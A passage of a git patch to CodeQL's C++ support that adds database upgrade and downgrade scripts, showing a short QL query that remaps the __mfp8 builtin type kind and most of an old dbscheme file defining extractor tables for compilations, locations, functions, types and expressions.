__va_list_tag & | LValueReferenceType, PointerOrArrayOrReferenceType, PointerOrArrayOrReferenceTypeIndirection | | __va_list_tag | | | | __va_list_tag && | PointerOrArrayOrReferenceType, PointerOrArrayOrReferenceTypeIndirection, RValueReferenceType | | __va_list_tag | | | From bff4213c622c7f664625c62e60ac6a6028bb95ea Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Mon, 9 Jun 2025 17:40:11 +0200 Subject: [PATCH 200/271] C++: Add upgrade and downgrade scripts --- .../builtintypes.ql | 9 + .../old.dbscheme | 2492 +++++++++++++++++ .../semmlecode.cpp.dbscheme | 2491 ++++++++++++++++ .../upgrade.properties | 3 + .../old.dbscheme | 2491 ++++++++++++++++ .../semmlecode.cpp.dbscheme | 2492 +++++++++++++++++ .../upgrade.properties | 2 + 7 files changed, 9980 insertions(+) create mode 100644 cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql create mode 100644 cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme create mode 100644 cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme create mode 100644 cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties create mode 100644 cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme create mode 100644 cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme create mode 100644 cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql new file mode 100644 index 00000000000..73b715fd71f --- /dev/null +++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql @@ -0,0 +1,9 @@ +class BuiltinType extends @builtintype { + string toString() { none() } +} + +from BuiltinType id, string name, int kind, int new_kind, int size, int sign, int alignment +where + builtintypes(id, name, kind, size, sign, alignment) and + if kind = 62 then new_kind = 1 else new_kind = kind +select id, name, new_kind, size, sign, alignment diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme new file mode 100644 index 00000000000..af887e83a81 --- /dev/null +++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme @@ -0,0 +1,2492 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr 